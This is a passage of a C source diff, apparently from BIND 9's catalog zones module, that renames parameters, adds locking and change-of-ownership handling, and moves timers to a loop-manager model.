-	/* xxxwpk TODO compare dscps/keys! */
 	return (true);
 }
 
 dns_name_t *
-dns_catz_zone_getname(dns_catz_zone_t *zone) {
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+dns_catz_zone_getname(dns_catz_zone_t *catz) {
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 
-	return (&zone->name);
+	return (&catz->name);
 }
 
 dns_catz_options_t *
-dns_catz_zone_getdefoptions(dns_catz_zone_t *zone) {
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+dns_catz_zone_getdefoptions(dns_catz_zone_t *catz) {
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 
-	return (&zone->defoptions);
+	return (&catz->defoptions);
 }
 
 void
-dns_catz_zone_resetdefoptions(dns_catz_zone_t *zone) {
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+dns_catz_zone_resetdefoptions(dns_catz_zone_t *catz) {
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 
-	dns_catz_options_free(&zone->defoptions, zone->catzs->mctx);
-	dns_catz_options_init(&zone->defoptions);
+	dns_catz_options_free(&catz->defoptions, catz->catzs->mctx);
+	dns_catz_options_init(&catz->defoptions);
 }
 
-isc_result_t
-dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
+/*%<
+ * Merge 'newcatz' into 'catz', calling addzone/delzone/modzone
+ * (from catz->catzs->zmm) for appropriate member zones.
+ *
+ * Requires:
+ * \li	'catz' is a valid dns_catz_zone_t.
+ * \li	'newcatz' is a valid dns_catz_zone_t.
+ *
+ */
+static isc_result_t
+dns__catz_zones_merge(dns_catz_zone_t *catz, dns_catz_zone_t *newcatz) {
 	isc_result_t result;
 	isc_ht_iter_t *iter1 = NULL, *iter2 = NULL;
 	isc_ht_iter_t *iteradd = NULL, *itermod = NULL;
@@ -380,58 +499,38 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 	char zname[DNS_NAME_FORMATSIZE];
 	dns_catz_zoneop_fn_t addzone, modzone, delzone;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(newzone));
-	REQUIRE(DNS_CATZ_ZONE_VALID(target));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(DNS_CATZ_ZONE_VALID(newcatz));
+
+	LOCK(&catz->lock);
 
 	/* TODO verify the new zone first! */
 
-	addzone = target->catzs->zmm->addzone;
-	modzone = target->catzs->zmm->modzone;
-	delzone = target->catzs->zmm->delzone;
+	addzone = catz->catzs->zmm->addzone;
+	modzone = catz->catzs->zmm->modzone;
+	delzone = catz->catzs->zmm->delzone;
 
-	/* Copy zoneoptions from newzone into target. */
+	/* Copy zoneoptions from newcatz into catz. */
 
-	dns_catz_options_free(&target->zoneoptions, target->catzs->mctx);
-	dns_catz_options_copy(target->catzs->mctx, &newzone->zoneoptions,
-			      &target->zoneoptions);
-	dns_catz_options_setdefault(target->catzs->mctx, &target->defoptions,
-				    &target->zoneoptions);
+	dns_catz_options_free(&catz->zoneoptions, catz->catzs->mctx);
+	dns_catz_options_copy(catz->catzs->mctx, &newcatz->zoneoptions,
+			      &catz->zoneoptions);
+	dns_catz_options_setdefault(catz->catzs->mctx, &catz->defoptions,
+				    &catz->zoneoptions);
 
-	dns_name_format(&target->name, czname, DNS_NAME_FORMATSIZE);
+	dns_name_format(&catz->name, czname, DNS_NAME_FORMATSIZE);
 
-	result = isc_ht_init(&toadd, target->catzs->mctx, 16);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = isc_ht_init(&tomod, target->catzs->mctx, 16);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = isc_ht_iter_create(newzone->entries, &iter1);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = isc_ht_iter_create(target->entries, &iter2);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	isc_ht_init(&toadd, catz->catzs->mctx, 1, ISC_HT_CASE_SENSITIVE);
+	isc_ht_init(&tomod, catz->catzs->mctx, 1, ISC_HT_CASE_SENSITIVE);
+	isc_ht_iter_create(newcatz->entries, &iter1);
+	isc_ht_iter_create(catz->entries, &iter2);
 
 	/*
 	 * We can create those iterators now, even though toadd and tomod are
 	 * empty
 	 */
-	result = isc_ht_iter_create(toadd, &iteradd);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = isc_ht_iter_create(tomod, &itermod);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	isc_ht_iter_create(toadd, &iteradd);
+	isc_ht_iter_create(tomod, &itermod);
 
 	/*
 	 * First - walk the new zone and find all nodes that are not in the
@@ -441,8 +540,11 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 	     result = delcur ? isc_ht_iter_delcurrent_next(iter1)
 			     : isc_ht_iter_next(iter1))
 	{
+		isc_result_t find_result;
+		dns_catz_zone_t *parentcatz = NULL;
 		dns_catz_entry_t *nentry = NULL;
 		dns_catz_entry_t *oentry = NULL;
+		dns_zone_t *zone = NULL;
 		unsigned char *key = NULL;
 		size_t keysize;
 		delcur = false;
@@ -456,7 +558,7 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 		 * xxxwpk: make it a separate verification phase?
 		 */
 		if (dns_name_countlabels(&nentry->name) == 0) {
-			dns_catz_entry_detach(newzone, &nentry);
+			dns_catz_entry_detach(newcatz, &nentry);
 			delcur = true;
 			continue;
 		}
@@ -467,42 +569,115 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 			      DNS_LOGMODULE_MASTER, ISC_LOG_DEBUG(3),
 			      "catz: iterating over '%s' from catalog '%s'",
 			      zname, czname);
-		dns_catz_options_setdefault(target->catzs->mctx,
-					    &target->zoneoptions,
-					    &nentry->opts);
+		dns_catz_options_setdefault(catz->catzs->mctx,
+					    &catz->zoneoptions, &nentry->opts);
+
+		/* Try to find the zone in the view */
+		find_result = dns_view_findzone(catz->catzs->view,
+						dns_catz_entry_getname(nentry),
+						DNS_ZTFIND_EXACT, &zone);
+		if (find_result == ISC_R_SUCCESS) {
+			dns_catz_coo_t *coo = NULL;
+			char pczname[DNS_NAME_FORMATSIZE];
+			bool parentcatz_locked = false;
 
-		result = isc_ht_find(target->entries, key, (uint32_t)keysize,
-				     (void **)&oentry);
-		if (result != ISC_R_SUCCESS) {
-			result = isc_ht_add(toadd, key, (uint32_t)keysize,
-					    nentry);
-			if (result != ISC_R_SUCCESS) {
+			/*
+			 * Change of ownership (coo) processing, if required
+			 */
+			parentcatz = dns_zone_get_parentcatz(zone);
+			if (parentcatz != NULL && parentcatz != catz) {
+				UNLOCK(&catz->lock);
+				LOCK(&parentcatz->lock);
+				parentcatz_locked = true;
+			}
+			if (parentcatz_locked &&
+			    isc_ht_find(parentcatz->coos, nentry->name.ndata,
+					nentry->name.length,
+					(void **)&coo) == ISC_R_SUCCESS &&
+			    dns_name_equal(&coo->name, &catz->name))
+			{
+				dns_name_format(&parentcatz->name, pczname,
+						DNS_NAME_FORMATSIZE);
+				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+					      DNS_LOGMODULE_MASTER,
+					      ISC_LOG_DEBUG(3),
+					      "catz: zone '%s' "
+					      "change of ownership from "
+					      "'%s' to '%s'",
+					      zname, pczname, czname);
+				result = delzone(nentry, parentcatz,
+						 parentcatz->catzs->view,
+						 parentcatz->catzs->zmm->udata);
 				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 					      DNS_LOGMODULE_MASTER,
-					      ISC_LOG_ERROR,
-					      "catz: error adding zone '%s' "
+					      ISC_LOG_INFO,
+					      "catz: deleting zone '%s' "
 					      "from catalog '%s' - %s",
-					      zname, czname,
+					      zname, pczname,
 					      isc_result_totext(result));
 			}
-			continue;
+			if (parentcatz_locked) {
+				UNLOCK(&parentcatz->lock);
+				LOCK(&catz->lock);
+			}
+			dns_zone_detach(&zone);
 		}
 
-		if (dns_catz_entry_cmp(oentry, nentry) != true) {
-			result = isc_ht_add(tomod, key, (uint32_t)keysize,
-					    nentry);
-			if (result != ISC_R_SUCCESS) {
+		/* Try to find the zone in the old catalog zone */
+		result = isc_ht_find(catz->entries, key, (uint32_t)keysize,
+				     (void **)&oentry);
+		if (result != ISC_R_SUCCESS) {
+			if (find_result == ISC_R_SUCCESS && parentcatz == catz)
+			{
+				/*
+				 * This means that the zone's unique label
+				 * has been changed, in that case we must
+				 * reset the zone's internal state by removing
+				 * and re-adding it.
+				 *
+				 * Scheduling the addition now, the removal will
+				 * be scheduled below, when walking the old
+				 * zone for remaining entries, and then we will
+				 * perform deletions earlier than additions and
+				 * modifications.
+				 */
 				isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 					      DNS_LOGMODULE_MASTER,
-					      ISC_LOG_ERROR,
-					      "catz: error modifying zone '%s' "
-					      "from catalog '%s' - %s",
-					      zname, czname,
-					      isc_result_totext(result));
+					      ISC_LOG_INFO,
+					      "catz: zone '%s' unique label "
+					      "has changed, reset state",
+					      zname);
 			}
+
+			catz_entry_add_or_mod(catz, toadd, key, keysize, nentry,
+					      NULL, "adding", zname, czname);
+			continue;
+		}
+
+		if (find_result != ISC_R_SUCCESS) {
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+				      DNS_LOGMODULE_MASTER, ISC_LOG_DEBUG(3),
+				      "catz: zone '%s' was expected to exist "
+				      "but can not be found, will be restored",
+				      zname);
+			catz_entry_add_or_mod(catz, toadd, key, keysize, nentry,
+					      oentry, "adding", zname, czname);
+			continue;
+		}
+
+		if (dns_catz_entry_cmp(oentry, nentry) != true) {
+			catz_entry_add_or_mod(catz, tomod, key, keysize, nentry,
+					      oentry, "modifying", zname,
+					      czname);
+			continue;
 		}
-		dns_catz_entry_detach(target, &oentry);
-		result = isc_ht_delete(target->entries, key, (uint32_t)keysize);
+
+		/*
+		 * Delete the old entry so that it won't accidentally be
+		 * removed as a non-existing entry below.
+		 */
+		dns_catz_entry_detach(catz, &oentry);
+		result = isc_ht_delete(catz->entries, key, (uint32_t)keysize);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	}
 	RUNTIME_CHECK(result == ISC_R_NOMORE);
@@ -518,20 +693,19 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 		isc_ht_iter_current(iter2, (void **)&entry);
 
 		dns_name_format(&entry->name, zname, DNS_NAME_FORMATSIZE);
-		result = delzone(entry, target, target->catzs->view,
-				 target->catzs->taskmgr,
-				 target->catzs->zmm->udata);
+		result = delzone(entry, catz, catz->catzs->view,
+				 catz->catzs->zmm->udata);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
 			      "catz: deleting zone '%s' from catalog '%s' - %s",
 			      zname, czname, isc_result_totext(result));
-		dns_catz_entry_detach(target, &entry);
+		dns_catz_entry_detach(catz, &entry);
 	}
 	RUNTIME_CHECK(result == ISC_R_NOMORE);
 	isc_ht_iter_destroy(&iter2);
-	/* At this moment target->entries has to be be empty. */
-	INSIST(isc_ht_count(target->entries) == 0);
-	isc_ht_destroy(&target->entries);
+	/* At this moment catz->entries has to be be empty. */
+	INSIST(isc_ht_count(catz->entries) == 0);
+	isc_ht_destroy(&catz->entries);
 
 	for (result = isc_ht_iter_first(iteradd); result == ISC_R_SUCCESS;
 	     result = isc_ht_iter_delcurrent_next(iteradd))
@@ -540,9 +714,8 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 		isc_ht_iter_current(iteradd, (void **)&entry);
 
 		dns_name_format(&entry->name, zname, DNS_NAME_FORMATSIZE);
-		result = addzone(entry, target, target->catzs->view,
-				 target->catzs->taskmgr,
-				 target->catzs->zmm->udata);
+		result = addzone(entry, catz, catz->catzs->view,
+				 catz->catzs->zmm->udata);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
 			      "catz: adding zone '%s' from catalog "
@@ -557,9 +730,8 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 		isc_ht_iter_current(itermod, (void **)&entry);
 
 		dns_name_format(&entry->name, zname, DNS_NAME_FORMATSIZE);
-		result = modzone(entry, target, target->catzs->view,
-				 target->catzs->taskmgr,
-				 target->catzs->zmm->udata);
+		result = modzone(entry, catz, catz->catzs->view,
+				 catz->catzs->zmm->udata);
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
 			      "catz: modifying zone '%s' from catalog "
@@ -567,202 +739,202 @@ dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone) {
 			      zname, czname, isc_result_totext(result));
 	}
 
-	target->entries = newzone->entries;
-	newzone->entries = NULL;
+	catz->entries = newcatz->entries;
+	newcatz->entries = NULL;
 
-	result = ISC_R_SUCCESS;
+	/*
+	 * We do not need to merge old coo (change of ownership) permission
+	 * records with the new ones, just replace them.
+	 */
+	if (catz->coos != NULL && newcatz->coos != NULL) {
+		isc_ht_iter_t *iter = NULL;
 
-cleanup:
-	if (iter1 != NULL) {
-		isc_ht_iter_destroy(&iter1);
-	}
-	if (iter2 != NULL) {
-		isc_ht_iter_destroy(&iter2);
-	}
-	if (iteradd != NULL) {
-		isc_ht_iter_destroy(&iteradd);
-	}
-	if (itermod != NULL) {
-		isc_ht_iter_destroy(&itermod);
-	}
-	if (toadd != NULL) {
-		isc_ht_destroy(&toadd);
-	}
-	if (tomod != NULL) {
-		isc_ht_destroy(&tomod);
-	}
-	return (result);
-}
+		isc_ht_iter_create(catz->coos, &iter);
+		for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
+		     result = isc_ht_iter_delcurrent_next(iter))
+		{
+			dns_catz_coo_t *coo = NULL;
 
-isc_result_t
-dns_catz_new_zones(dns_catz_zones_t **catzsp, dns_catz_zonemodmethods_t *zmm,
-		   isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
-		   isc_timermgr_t *timermgr) {
-	dns_catz_zones_t *new_zones;
-	isc_result_t result;
+			isc_ht_iter_current(iter, (void **)&coo);
+			catz_coo_detach(catz, &coo);
+		}
+		INSIST(result == ISC_R_NOMORE);
+		isc_ht_iter_destroy(&iter);
 
-	REQUIRE(catzsp != NULL && *catzsp == NULL);
-	REQUIRE(zmm != NULL);
+		/* The hashtable has to be empty now. */
+		INSIST(isc_ht_count(catz->coos) == 0);
+		isc_ht_destroy(&catz->coos);
 
-	new_zones = isc_mem_get(mctx, sizeof(*new_zones));
-	memset(new_zones, 0, sizeof(*new_zones));
+		catz->coos = newcatz->coos;
+		newcatz->coos = NULL;
+	}
 
-	isc_mutex_init(&new_zones->lock);
+	result = ISC_R_SUCCESS;
 
-	isc_refcount_init(&new_zones->refs, 1);
+	isc_ht_iter_destroy(&iteradd);
+	isc_ht_iter_destroy(&itermod);
+	isc_ht_destroy(&toadd);
+	isc_ht_destroy(&tomod);
 
-	result = isc_ht_init(&new_zones->zones, mctx, 4);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_refcount;
-	}
+	UNLOCK(&catz->lock);
 
-	isc_mem_attach(mctx, &new_zones->mctx);
-	new_zones->zmm = zmm;
-	new_zones->timermgr = timermgr;
-	new_zones->taskmgr = taskmgr;
+	return (result);
+}
 
-	result = isc_task_create(taskmgr, 0, &new_zones->updater);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_ht;
-	}
-	new_zones->magic = DNS_CATZ_ZONES_MAGIC;
+dns_catz_zones_t *
+dns_catz_zones_new(isc_mem_t *mctx, isc_loopmgr_t *loopmgr,
+		   dns_catz_zonemodmethods_t *zmm) {
+	REQUIRE(mctx != NULL);
+	REQUIRE(loopmgr != NULL);
+	REQUIRE(zmm != NULL);
 
-	*catzsp = new_zones;
-	return (ISC_R_SUCCESS);
+	dns_catz_zones_t *catzs = isc_mem_get(mctx, sizeof(*catzs));
+	*catzs = (dns_catz_zones_t){ .loopmgr = loopmgr,
+				     .zmm = zmm,
+				     .magic = DNS_CATZ_ZONES_MAGIC };
 
-cleanup_ht:
-	isc_ht_destroy(&new_zones->zones);
-cleanup_refcount:
-	isc_refcount_destroy(&new_zones->refs);
-	isc_mutex_destroy(&new_zones->lock);
-	isc_mem_put(mctx, new_zones, sizeof(*new_zones));
+	isc_mutex_init(&catzs->lock);
+	isc_refcount_init(&catzs->references, 1);
+	isc_ht_init(&catzs->zones, mctx, 4, ISC_HT_CASE_SENSITIVE);
+	isc_mem_attach(mctx, &catzs->mctx);
 
-	return (result);
+	return (catzs);
 }
 
 void
 dns_catz_catzs_set_view(dns_catz_zones_t *catzs, dns_view_t *view) {
 	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
-	REQUIRE(view != NULL);
+	REQUIRE(DNS_VIEW_VALID(view));
 	/* Either it's a new one or it's being reconfigured. */
 	REQUIRE(catzs->view == NULL || !strcmp(catzs->view->name, view->name));
 
 	catzs->view = view;
 }
 
-isc_result_t
-dns_catz_new_zone(dns_catz_zones_t *catzs, dns_catz_zone_t **zonep,
-		  const dns_name_t *name) {
-	isc_result_t result;
-	dns_catz_zone_t *new_zone;
-
+dns_catz_zone_t *
+dns_catz_zone_new(dns_catz_zones_t *catzs, const dns_name_t *name) {
 	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
-	REQUIRE(zonep != NULL && *zonep == NULL);
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
 
-	new_zone = isc_mem_get(catzs->mctx, sizeof(*new_zone));
+	dns_catz_zone_t *catz = isc_mem_get(catzs->mctx, sizeof(*catz));
+	*catz = (dns_catz_zone_t){ .active = true,
+				   .version = DNS_CATZ_VERSION_UNDEFINED,
+				   .magic = DNS_CATZ_ZONE_MAGIC };
+
+	dns_catz_zones_attach(catzs, &catz->catzs);
+	isc_mutex_init(&catz->lock);
+	isc_refcount_init(&catz->references, 1);
+	isc_ht_init(&catz->entries, catzs->mctx, 4, ISC_HT_CASE_SENSITIVE);
+	isc_ht_init(&catz->coos, catzs->mctx, 4, ISC_HT_CASE_INSENSITIVE);
+	isc_time_settoepoch(&catz->lastupdated);
+	dns_catz_options_init(&catz->defoptions);
+	dns_catz_options_init(&catz->zoneoptions);
+	dns_name_init(&catz->name, NULL);
+	dns_name_dup(name, catzs->mctx, &catz->name);
+
+	return (catz);
+}
 
-	memset(new_zone, 0, sizeof(*new_zone));
+static void
+dns__catz_timer_start(dns_catz_zone_t *catz) {
+	uint64_t tdiff;
+	isc_interval_t interval;
+	isc_time_t now;
 
-	dns_name_init(&new_zone->name, NULL);
-	dns_name_dup(name, catzs->mctx, &new_zone->name);
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 
-	result = isc_ht_init(&new_zone->entries, catzs->mctx, 4);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_name;
-	}
+	now = isc_time_now();
+	tdiff = isc_time_microdiff(&now, &catz->lastupdated) / 1000000;
+	if (tdiff < catz->defoptions.min_update_interval) {
+		uint64_t defer = catz->defoptions.min_update_interval - tdiff;
+		char dname[DNS_NAME_FORMATSIZE];
 
-	new_zone->updatetimer = NULL;
-	result = isc_timer_create(catzs->timermgr, isc_timertype_inactive, NULL,
-				  NULL, catzs->updater,
-				  dns_catz_update_taskaction, new_zone,
-				  &new_zone->updatetimer);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_ht;
+		dns_name_format(&catz->name, dname, DNS_NAME_FORMATSIZE);
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_INFO,
+			      "catz: %s: new zone version came "
+			      "too soon, deferring update for "
+			      "%" PRIu64 " seconds",
+			      dname, defer);
+		isc_interval_set(&interval, (unsigned int)defer, 0);
+	} else {
+		isc_interval_set(&interval, 0, 0);
 	}
 
-	isc_time_settoepoch(&new_zone->lastupdated);
-	new_zone->updatepending = false;
-	new_zone->db = NULL;
-	new_zone->dbversion = NULL;
-	new_zone->catzs = catzs;
-	dns_catz_options_init(&new_zone->defoptions);
-	dns_catz_options_init(&new_zone->zoneoptions);
-	new_zone->active = true;
-	new_zone->db_registered = false;
-	new_zone->version = (uint32_t)(-1);
-	isc_refcount_init(&new_zone->refs, 1);
-	new_zone->magic = DNS_CATZ_ZONE_MAGIC;
+	catz->loop = isc_loop_current(catz->catzs->loopmgr);
 
-	*zonep = new_zone;
+	isc_timer_create(catz->loop, dns__catz_timer_cb, catz,
+			 &catz->updatetimer);
+	isc_timer_start(catz->updatetimer, isc_timertype_once, &interval);
+}
 
-	return (ISC_R_SUCCESS);
+static void
+dns__catz_timer_stop(void *arg) {
+	dns_catz_zone_t *catz = arg;
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 
-cleanup_ht:
-	isc_ht_destroy(&new_zone->entries);
-cleanup_name:
-	dns_name_free(&new_zone->name, catzs->mctx);
-	isc_mem_put(catzs->mctx, new_zone, sizeof(*new_zone));
+	isc_timer_stop(catz->updatetimer);
+	isc_timer_destroy(&catz->updatetimer);
+	catz->loop = NULL;
 
-	return (result);
+	dns_catz_zone_detach(&catz);
 }
 
 isc_result_t
-dns_catz_add_zone(dns_catz_zones_t *catzs, const dns_name_t *name,
-		  dns_catz_zone_t **zonep) {
-	dns_catz_zone_t *new_zone = NULL;
-	isc_result_t result, tresult;
-	char zname[DNS_NAME_FORMATSIZE];
-
+dns_catz_zone_add(dns_catz_zones_t *catzs, const dns_name_t *name,
+		  dns_catz_zone_t **catzp) {
 	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
-	REQUIRE(zonep != NULL && *zonep == NULL);
+	REQUIRE(catzp != NULL && *catzp == NULL);
+
+	dns_catz_zone_t *catz = NULL;
+	isc_result_t result;
+	char zname[DNS_NAME_FORMATSIZE];
 
 	dns_name_format(name, zname, DNS_NAME_FORMATSIZE);
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL, DNS_LOGMODULE_MASTER,
-		      ISC_LOG_DEBUG(3), "catz: dns_catz_add_zone %s", zname);
+		      ISC_LOG_DEBUG(3), "catz: dns_catz_zone_add %s", zname);
 
 	LOCK(&catzs->lock);
 
-	result = dns_catz_new_zone(catzs, &new_zone, name);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	result = isc_ht_add(catzs->zones, new_zone->name.ndata,
-			    new_zone->name.length, new_zone);
-	if (result != ISC_R_SUCCESS) {
-		dns_catz_zone_detach(&new_zone);
-		if (result != ISC_R_EXISTS) {
-			goto cleanup;
-		}
-	}
-
-	if (result == ISC_R_EXISTS) {
-		tresult = isc_ht_find(catzs->zones, name->ndata, name->length,
-				      (void **)&new_zone);
-		INSIST(tresult == ISC_R_SUCCESS && !new_zone->active);
-		new_zone->active = true;
+	result = isc_ht_find(catzs->zones, name->ndata, name->length,
+			     (void **)&catz);
+	switch (result) {
+	case ISC_R_SUCCESS:
+		INSIST(!catz->active);
+		catz->active = true;
+		result = ISC_R_EXISTS;
+		break;
+	case ISC_R_NOTFOUND:
+		catz = dns_catz_zone_new(catzs, name);
+
+		result = isc_ht_add(catzs->zones, catz->name.ndata,
+				    catz->name.length, catz);
+		INSIST(result == ISC_R_SUCCESS);
+		break;
+	default:
+		UNREACHABLE();
 	}
 
-	*zonep = new_zone;
-
-cleanup:
 	UNLOCK(&catzs->lock);
 
+	*catzp = catz;
+
 	return (result);
 }
 
 dns_catz_zone_t *
-dns_catz_get_zone(dns_catz_zones_t *catzs, const dns_name_t *name) {
+dns_catz_zone_get(dns_catz_zones_t *catzs, const dns_name_t *name) {
 	isc_result_t result;
 	dns_catz_zone_t *found = NULL;
 
 	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
 
+	LOCK(&catzs->lock);
 	result = isc_ht_find(catzs->zones, name->ndata, name->length,
 			     (void **)&found);
+	UNLOCK(&catzs->lock);
 	if (result != ISC_R_SUCCESS) {
 		return (NULL);
 	}
@@ -770,125 +942,158 @@ dns_catz_get_zone(dns_catz_zones_t *catzs, const dns_name_t *name) {
 	return (found);
 }
 
-void
-dns_catz_catzs_attach(dns_catz_zones_t *catzs, dns_catz_zones_t **catzsp) {
-	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
-	REQUIRE(catzsp != NULL && *catzsp == NULL);
-
-	isc_refcount_increment(&catzs->refs);
-	*catzsp = catzs;
-}
-
-void
-dns_catz_zone_attach(dns_catz_zone_t *zone, dns_catz_zone_t **zonep) {
-	REQUIRE(zonep != NULL && *zonep == NULL);
+static void
+dns__catz_zone_shutdown(dns_catz_zone_t *catz) {
+	/* lock must be locked */
+	if (catz->updatetimer != NULL) {
+		/* Don't wait for timer to trigger for shutdown */
+		INSIST(catz->loop != NULL);
 
-	isc_refcount_increment(&zone->refs);
-	*zonep = zone;
+		isc_async_run(catz->loop, dns__catz_timer_stop, catz);
+	} else {
+		dns_catz_zone_detach(&catz);
+	}
 }
 
-void
-dns_catz_zone_detach(dns_catz_zone_t **zonep) {
-	REQUIRE(zonep != NULL && *zonep != NULL);
-	dns_catz_zone_t *zone = *zonep;
-	*zonep = NULL;
-
-	if (isc_refcount_decrement(&zone->refs) == 1) {
-		isc_mem_t *mctx = zone->catzs->mctx;
-		isc_refcount_destroy(&zone->refs);
-		if (zone->entries != NULL) {
-			isc_ht_iter_t *iter = NULL;
-			isc_result_t result;
-			result = isc_ht_iter_create(zone->entries, &iter);
-			INSIST(result == ISC_R_SUCCESS);
-			for (result = isc_ht_iter_first(iter);
-			     result == ISC_R_SUCCESS;
-			     result = isc_ht_iter_delcurrent_next(iter))
-			{
-				dns_catz_entry_t *entry = NULL;
+static void
+dns__catz_zone_destroy(dns_catz_zone_t *catz) {
+	isc_mem_t *mctx = catz->catzs->mctx;
 
-				isc_ht_iter_current(iter, (void **)&entry);
-				dns_catz_entry_detach(zone, &entry);
-			}
-			INSIST(result == ISC_R_NOMORE);
-			isc_ht_iter_destroy(&iter);
+	if (catz->entries != NULL) {
+		isc_ht_iter_t *iter = NULL;
+		isc_result_t result;
+		isc_ht_iter_create(catz->entries, &iter);
+		for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
+		     result = isc_ht_iter_delcurrent_next(iter))
+		{
+			dns_catz_entry_t *entry = NULL;
 
-			/* The hashtable has to be empty now. */
-			INSIST(isc_ht_count(zone->entries) == 0);
-			isc_ht_destroy(&zone->entries);
-		}
-		zone->magic = 0;
-		isc_timer_detach(&zone->updatetimer);
-		if (zone->db_registered) {
-			INSIST(dns_db_updatenotify_unregister(
-				       zone->db, dns_catz_dbupdate_callback,
-				       zone->catzs) == ISC_R_SUCCESS);
+			isc_ht_iter_current(iter, (void **)&entry);
+			dns_catz_entry_detach(catz, &entry);
 		}
-		if (zone->dbversion) {
-			dns_db_closeversion(zone->db, &zone->dbversion, false);
-		}
-		if (zone->db != NULL) {
-			dns_db_detach(&zone->db);
+		INSIST(result == ISC_R_NOMORE);
+		isc_ht_iter_destroy(&iter);
+
+		/* The hashtable has to be empty now. */
+		INSIST(isc_ht_count(catz->entries) == 0);
+		isc_ht_destroy(&catz->entries);
+	}
+	if (catz->coos != NULL) {
+		isc_ht_iter_t *iter = NULL;
+		isc_result_t result;
+		isc_ht_iter_create(catz->coos, &iter);
+		for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
+		     result = isc_ht_iter_delcurrent_next(iter))
+		{
+			dns_catz_coo_t *coo = NULL;
+
+			isc_ht_iter_current(iter, (void **)&coo);
+			catz_coo_detach(catz, &coo);
 		}
+		INSIST(result == ISC_R_NOMORE);
+		isc_ht_iter_destroy(&iter);
 
-		dns_name_free(&zone->name, mctx);
-		dns_catz_options_free(&zone->defoptions, mctx);
-		dns_catz_options_free(&zone->zoneoptions, mctx);
+		/* The hashtable has to be empty now. */
+		INSIST(isc_ht_count(catz->coos) == 0);
+		isc_ht_destroy(&catz->coos);
+	}
+	catz->magic = 0;
+	isc_mutex_destroy(&catz->lock);
 
-		zone->catzs = NULL;
-		isc_mem_put(mctx, zone, sizeof(dns_catz_zone_t));
+	if (catz->updatetimer != NULL) {
+		isc_timer_async_destroy(&catz->updatetimer);
+	}
+
+	if (catz->db != NULL) {
+		if (catz->dbversion != NULL) {
+			dns_db_closeversion(catz->db, &catz->dbversion, false);
+		}
+		dns_db_updatenotify_unregister(
+			catz->db, dns_catz_dbupdate_callback, catz->catzs);
+		dns_db_detach(&catz->db);
 	}
+
+	INSIST(!catz->updaterunning);
+
+	dns_name_free(&catz->name, mctx);
+	dns_catz_options_free(&catz->defoptions, mctx);
+	dns_catz_options_free(&catz->zoneoptions, mctx);
+
+	dns_catz_zones_detach(&catz->catzs);
+	isc_refcount_destroy(&catz->references);
+
+	isc_mem_put(mctx, catz, sizeof(*catz));
+}
+
+static void
+dns__catz_zones_destroy(dns_catz_zones_t *catzs) {
+	REQUIRE(atomic_load(&catzs->shuttingdown));
+	REQUIRE(catzs->zones == NULL);
+
+	catzs->magic = 0;
+	isc_mutex_destroy(&catzs->lock);
+	isc_refcount_destroy(&catzs->references);
+
+	isc_mem_putanddetach(&catzs->mctx, catzs, sizeof(*catzs));
 }
 
 void
-dns_catz_catzs_detach(dns_catz_zones_t **catzsp) {
